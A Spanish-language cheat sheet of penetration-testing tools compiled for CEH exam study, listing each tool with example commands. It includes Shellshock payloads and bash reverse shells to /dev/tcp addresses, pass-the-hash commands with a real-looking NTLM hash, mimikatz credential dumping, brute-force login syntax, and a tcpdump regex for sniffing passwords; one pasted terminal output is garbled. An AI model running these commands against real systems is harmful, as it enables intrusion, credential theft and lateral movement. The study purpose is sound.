Herramientas revisadas (resumen)
Preparación para examen CEH
7z2john
Extrae el hash de cifrado de password de un 7zip para romperlo con john Necesita compilar esta librería https://www.cpan.org/modules/by-module/Compress/Compress-Raw-Lzma-2.074.tar.gz
AirNG
Suite que Monitorea y sirve para capturar/romper passwords de routers wifi
Armitage
versión amistosa/interfaz de Metasploit (fue retirado de kali)
Arpspoof
Suplanta el arp. Sirve para hacer Man in the middle
Burpsuit
sirve para interceptar el tráfico web y modificarlo antes de procesarlo.
Detener una petición de get y modificar el user agent (ShellShock) User-Agent:() { :; }; /bin/bash -c ‘bash -i >& /dev/tcp/10.0.0.23/80850 0>&1’
CACTUSTORCH
FrameWork que permite la generación de archivos word capaces de devolver session reversa de tipo meterpreter.
Cadaver
para conectarse a servicios webdav
$cadaver http://<ip>/webdav
login to the XAMPP servers WebDAV folder
cadaver http://<REMOTE HOST>/webdav/
user: wampp
pass: xampp
upload a file to the webdav folder
put /tmp/helloworld.txt
browse to your uploaded file
load URL, http://<REMOTE HOST>/webdav/helloworld.txt, in browser
Desde http://xforeveryman.blogspot.com/2012/01/helper-webdav-xampp-173-default.html
Cewl
(Accent Keyword Extractor) extrae las palabras de una página web y genera un diccionario
cewl <url> -d 0 -m 6 -w <nombre.dic>
ShellShock con curl
curl -H "User-Agent: () { :;}; echo; <comando>" http://hello.com/cgi-bin/<cualquier ejecutable que se encuentre aquí>
CertUtil
https://www.hackingarticles.in/windows-for-pentester-certutil/
CUPP
crea diccionario en función de un cuestionario para perfilar. (git clone https://github.com/Mebus/cupp.git)
CURL
ver detalle
Crunch
Crea password para hacer diccionarios
crunch 8 8 -t telsur%% | aircrack-ng -w - test-01.cap -e something
crunch 8 8 0123456789 | pyrit -r msc-01.cap -i - attack_passthrough
crunch 6 7 eghotu0134 | perl -ne 'print unless /([a-z]).*\1/' > wordlist.txt
crunch 8 8 987 -t @%%%%%%% -p +569 -o numeros.txt #genera números de celulares chilenos
Dig
Obtiene información de dns (puerto 53) para un dominio particular
dig windcorp.thm any @10.10.78.247
Dirb
enumera urls disponibles de un dominio, por medio de probar las carpetas más comunes.
dirb http://<sitio>/<path>; dirb http://192.168.1.103 -X .php
dmitry
para obtención de información
dmitry -s -n <host>
DNSenum
Enumera información de los servidores DNS
DNSMap
Obtiene información de los DNS
Dnsmasq
Empire
Agente de post-explotación de PowerShell puro basado en comunicaciones criptográficas seguras y una arquitectura flexible.
Enum4linux
Enumerador de usuarios y carpetas compatidas https://highon.coffee/blog/enum4linux-cheat-sheet/
Ettercap
para arpoisoning / MITM1
Exiftool
extrae y modifica metadatos
Evil-winrm
explota pass the hash
sudo gem install evil-winrm
evil-winrm -i 10.10.136.125 -H e4876a80a723612986d7609aa5ebc12b --user Administrator
Crea una shell directamente en el equipo windows.
https://blog.spookysec.net/kerberos-abuse/
fcrackzip
para usar fuerza bruta en zips.
fcrackzip -v -D -u -p /usr/share/dict/words secret.zip
Forfiles (windows)
C:\>forfiles /P C: /S /M "*curso*" -> busca en el disco todos los archivos que contengan en el nombre curso
Fluxion
crackear wifi
file
muestra características del archivo a modo de identificar su tipo. (magic number)
Find
Para encontrar archivos o cadenas de texto.
find / -perm -u=s -type f 2>/dev/null #sirve para encontrar ejecutables que se pueden correr como root
find / -perm -4000 2>/dev/null #lo mismo.
find /home -type -f -printf "%f\t%p\t%p\t%u\r%g\t%m\n" | column -t #para listar todos los archivos de un directorio y sus atributos.
find . -iname '*config*' -type f -exec grep -nie 'pass.*=' --color=always /dev/null {} \; #para encontrar contraseñas en archivos de configuración
find . -exec grep foo {} + #will show you output like this ./dir/file.py:from foo import bar
find . -exec grep foo {} \; #will show you output like this from foo import bar
find . -exec grep -l foo {} + #will show you output like this ./dir/file.py
find . -exec grep -l foo {} \; #will show you output like this ./dir/file.py
Desde https://unix.stackexchange.com/questions/12902/how-to-run-find-exec
FTP
Para conectarse al puerto 21. En caso de no querer responder al ls, probar poniendo PASS, para pasar al modo passivo
Gpg
Encripta y desencripta PGP (no es necesario usar openssl) En caso de encontrar *.pgp y private.asc
gpg --import private.asc
para agregar la llave a la base de datos local. (necesitarás crackear el pass con pgp2john y “ hash”
gpg --decrypt algo.pgp
y poner la contraseña crackeada http://irtfweb.ifa.hawaii.edu/~lockhart/gpg/
Gobuster
Para fuzzear virtualhosts o directiorios
gobuster vhost -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://jeff.thm/ -t 20
gobuster dns -d http://mydomain.thm -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
gobuster dir -w lista.txt -u http://ruta -t 20 -x <extensiones>
grep
filtra y revisa el contenido de los archivos
grep '\=$' #sirve para encontrar base64 dentro de archivos en CTFs
grep -E '(192.168.0.30|192.168.0.40)' #busca ambas ip simultaneamente
grep -w -i "^r....$" /usr/share/wordlists/rockyou.txt #palabras de 5 letras que comiencen con r
grep -oP '".*?"' #muestra el contenido de las comillas dobles
grep -io "[0-9]\{1,2\}" #busca números de uno o dos dígitos que contengan del 0 al 9.
grep 'c:\\users\\' #para evitar el backslash trailing. Es necesario usar comilla simple y doble backslash.
Flags
-R Does a recursive grep search for the files inside the folders(if found in the specified path for pattern search; else grep won't traverse diretory for searching the pattern you specify)
-h If you're grepping recursively in a directory, this flag disables the prefixing of filenames in the results.
-c This flag won't list you the pattern only list an integer value, that how many times the pattern was found in the file/folder.
-i I prefer to use this flag most of the time, this is what specifies grep to search for the PATTERN while IGNORING the case
-l will only list the filename instead of pattern found in it.
-n It will list the lines with their line number in the file containing the pattern.
-v This flag prints all the lines that are NOT containing the pattern
-E This flag we already read above... will consider the PATTERN as a regular expression to find the matching strings.
-e The official documentation says, it can be used to specify multiple patterns and if any string matches with the pattern(s) it will list it.
Desde https://tryhackme.com/room/linuxmodules
Harness
FrameWork para creacion de payload. Ejemplo:
/bin/bash -c "bash -i >& /dev/tcp/10.10.14.74/443 0>&
Hash-identifier
Para identificar qué cifrado tiene un texto
Hydra, xhydra
Logueador por fuerza bruta web.
hydra -L <name.txt> -P <pass.txt> <ip> http-post-form “/wp-login.php:log=^USER^&pwd=^PASS^:F=ERROR”
hydra -l admin -P /pass.txt <ip> -s 8081 http-post-form "/info/login.html:admin_Username=^USER^&admin_Password=^PASS^:submit=logIn_btn" -V -t 1
o
hydra -l admin -P <passwordlist> -e ns -V <targetip> http-get /
hydra -l root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 6 ssh://192.168.1.123
Hydra -e nsr <ip> pop3 -l <user> -P <rockyou.txt> -s <port> -V
hydra -l username -P password_file.txt -s port -f ip_address request_method /path #para pribar sobre access
john
crackea password
john --wordlist=rockyou.txt <passfile> --pot=<dondequieroquedejelosresultados>
john file.hash
(para crackear el hash de un zip hecho con zip2john) se puede usar el parámetro –incremental para fuerza bruta.
Macchanger
Cambia la mac address
Macof
Para hacer MAC flooding. (en este estado el switch pasa a hacer broadcast (sale de unicast) y con wireshark se puede interceptar el contenido de la comunicación.
macof -i <interface> -n <cantidad de veces>
Maltego
Permite, a través de un dato cualquiera (cuenta de usuario, dominio, mail, etc.) encontrar información relacionada con este disponible en la web (como redes sociales, subdominios, libretas de direcciones, etc.).
Medusa
Para crackear páginas con .htaccess.
medusa -h 192.168.1.101 -u admin -P wordlist.txt -M http -m DIR:/test.php -
Metasploit
Para explotar vulnerabilidades y escanear
Mimikatz
Mimikatz junto con Windows Credential Editor son capaces de leer de la memoria para obtener las claves en texto plano.
mimikatz.exe privilege::debug sekurlsa::logonPasswords full exit
(debe ser ejecutado en una ventana con permisos de administrador)
NC o NetCat
Conector de ssh. Sirve para hacer listeners o conexiones a puertos específicos (ver mas detalles abajo)
Netdiscover
Encuentra equipos prendidos en la red.. (si no se le pone parámetros, busca en todos)
Nikto
Audita servidor en búsqueda de vulnerabilidades conocidas.
nikto -h <IP>
Nmap
Escaneador por excelencia. (ver detalles)
nslookup
Para realizar osint a servers de correo
$nslookup
>set q=txt
><domain> | para ver SPF
>selector.<domain> | para ver DKIMz
>_dmarc.<domain> | para ver dmarc
>exit
Leafpad
Notepad en interfaz gráfica de kali
Ophcrack
crackea contraseñas con rainbow table
sudo ophcrack-cli -d /mnt/c/z/ophcrack_xp_tables -t xp_special -f hash -o dump -u
Perl
Ejecuta código pl
perl -ne 'print unless /([a-z]).*\1/' dict.txt > outfile.txt
sirve para extraer de un diccionario las palabras que no repiten caracteres
pth-winexe
Pass the Hash sirve para ejecutar comandos desde un linux sobre un equipo windows comprometido
pth-winexe -U WorkGROUP/Administrator%<hashntlm> //<ipvictima> <comandodeseado>
(puede ser cmd.exe)
Es necesario repertir el último hash. Ejemplo
E_md4hash wrapper called.
HASH PASS: Subst user supplied NTLM HASH.
Microsoft Windows [Verstn 19.0. 14393]
(c) 2016 Microsott Corporation. Todos Los derechos reservados.
whoami
s4vicorp\administrador pth-wtnexe -U s4vtcorp/Admtntstrador020ae267eY4d417tcteoet4gecbd4b33:92eae267e048417tcteeot49ecbd4b33 //192.168. let. 133 cmd
Python
Para ejecutar .py
python -c 'import pty; pty.spawn("/bin/sh")'
sirve para cargar consola una vez conectado por nc a un servidor.
CTRL +Z
stty raw -echo
fg enter enter
python -m SimpleHTTPServer 80
python3 -m http.server 8080
sirve para levantar un servicio web simple con file dir.
Proxychains
herramienta de shell que permite, en base a un archivo de configuración con listas de servidores proxy, realizar otras operaciones de red a través de estos equipos, saltando por varios de ellos, no exponiendo al equipo local ni dejando registro directo en él o los equipos objetivo
psexec.py
sirve para levantar shell en windows desde linux, sabiendo la contraseña.
psexec.py clk:clk123@10.10.10.1 cmd.exe
Psexec.py -hashes :<ntlm/hash> <user>@<host> --->pass the hash del ntlm
rpl
Comando que permite reemplazar una cadena de texto por otra en un archivo
rpl <original> <reemplazo> <archivo.txt>
Rabin2
rabin2 –zzz
Además de revisar binarios, este comando puede mostrar los strings mejor que STRINGS
Searchsploit
Busca en la base de datos de ExploitDB pero descargada en Kali
SETH
Herramienta de Ingeniería social. Además sirve para hacer Mitm particularmente a RDP
smbclient
ver detalles
Smbget
smbget –R smb://10.10.10.172/user$ -U 'user'
smbmap
sirve para revisar carpetas compartidas en puerto 445.
smbmap -u jpalma -p <pass> -d cnt -H mateo.cnt.telsur.cl -r <path_optional>
smbmap -H 10.10.10.100 -A Groups.xml -R Replication -q
lee el archivo groups.xml que estaba en SYSVOL /policies/{2mdsdsd}/MACHINE/Groups/
smbmap -H <ip> -r share -->conecta al smb
smbmap -H <ip> --upload <algo> <dirdest/algo>
smbmap –H 8.8.8.8 -u 'null'
smbserver.py
smbserver.py <nombredelrecurso> <directorioacompartir>
ss (socket statistics)
https://neverendingsecurity.wordpress.com/2015/04/13/ss-socket-statistics-commands-cheatsheet/
ssh
para conectarte al puerto 22 -o StrictHostKeyChecking=no #evita que pida confirmaciòn #Portforward
ssh -L 80:172.0.0.1:80 root@victima
Steghide
programa de esteganografía
steghide embed -ef sample.txt -cf image.jpg -sf output.jpg
steghide extract -sf image.jpg -p <pass>
Stegsnow
stegsnow –m secreto infile outfile
stegsnow –C outfile
Shodan
herramienta que indexa en la Internet todos los equipos conectados IoT, con la descripción del tipo de equipo, servicios expuestos, versiones y demás características relevantes https://www.shodan.io
Shodanwave
Permite buscar cámaras ip vía shodan y crackear sus password.
Socat
para pivotear en otra red (o para hacer port forwarding)
cd /tmp
wget http://10.10.14.6/socat (hay que levantar un servicio web para ofrecerlo)
chmod +x socat
./socat tcp-listen:<ipquequierousar>,reuseaddr,fork tcp:<ip>:<ipreal>
tcpdump
sniffer de tráfico local de red
tcpdump -i tun0 icmp
tcpdump <portname> -l -A | egrep -i 'pass=|pwd=|log=|login=|user=|username=|pw=|passw=|passwd=|password=|pass:|user:|username:|password:|login:|pass |user ' --color=auto --line-buffered -B20
TheHarvester
Recopila información (ejecutar en modo sudo, dado que es necesario escribir datos en disco)
The LAZY script
FrameWork de tareas automatizadas en base a script, muy completo.
tplmap
Descubre vulnerabilidades de LFI de java (https://github.com/epinna/tplmap)
tshark
línea de comando de wireshark. Puede mostrar estadísticas de un .pcap
tshark -nnr imadecoy -qz io,phs (estadísticas de jerarquía)
tshark -nnr imadecoy -qz ip_hosts,tree (estadísticas de tráfico)
Metodología de revisión tshark
$tshark -r <captured.cap> #analiza tráfico
$tshark -r <captured.cap> -Tjson #muestra todos los campos
$tshark -r <captured.cap> -Tfields -e <campo> #filtra sólo por un campo ejemplo data.data
$tshark -r <captured.cap> -Tfields -e <campo> -Y "<protocolo>" | xxd -r -p #traduce el contenido de hex a textoplano
ViMdecript
https://raw.githubusercontent.com/nlitsme/vimdecrypt/publicbranch/vimdecrypt.py
wget
Para descargar webpages.. Puede ser la página principal o el sitio completo.
wget -r <url> #descarga recursiva
wget --no-check-certificate https://140.211.11.121/ # para saltarse el certificado
Wfuzz
para recorrer(fuzzear) urls con parámetros definidos.
para fuzzear web
wfuzz -w /usr/share/wordlists/dirb/common.txt -u http://10.10.10.69/sync?FUZZ=ls -c --hh 19 # para fuzzear login
wfuzz -c -L -t 500 --hh=27136 -w wordlist.txt -d 'username=Giovanni@password=FUZZ' http://10.10.10.153/moodle/login/index.php
-c -L follow redirect -t threads –hh hide characters -w wordlist -d data en post
Para fuzear subdominios
wfuzz -w /directory.txt -H "host: FUZZ.host.com" --hc 200 --hw 356 -t 100 <ip>
(si encuentras, para luego verlos, hay que agregarlos al archivo /etc/hosts )
WinRM
https://www.hackingarticles.in/winrm-penetration-testing/
wmic
ejecuta ordenes al sistema windows. (para windows)
wmic volume get driveletter, label | findstr "CLK"
identifica en qué unidad está la USB
for /f %d in ('wmic volume get driveletter^, label ^| findstr "CLK"') do set duck=%d
wireshark
sniffer de red
vp
escaneador de servidores wordpress
wpscan
Escaneador de vulnerabilidades de wordpress y logueador de fuerza bruta o diccionario
wpscan --url <ip/path> --enumerate vp
wpscan --url www.test.local --wordlist pwd_dict.txt --username admin
https://www.hackingarticles.in/wpscanwordpress-pentesting-framework/
wapiti
Analisis de vulnerabilidades web (http://wapiti.sourceforge.net/)
Xfreerdp
xfreerdp /u:fela /d:corp /p:"rubenF124" /v:10.10.164.123 /cert-ignore /f
/f fullscreen. Se desconecta con ctrl+alt+enter
xsltproc
transforma un export de nmap en un reporte amistoso
xsltproc archivo.xml >archivo.html
xxd
muestra el contenido hexadecimal del un archivo
xxd -r <file> #reversa desd eun hexa a binario
yersinia
FrameWork para ataques a la capa 2, genera starvation del dhcp
Zip2john
genera hash de un zip para luego poder crackearlo con john
zip2john test.zip > zip.hashes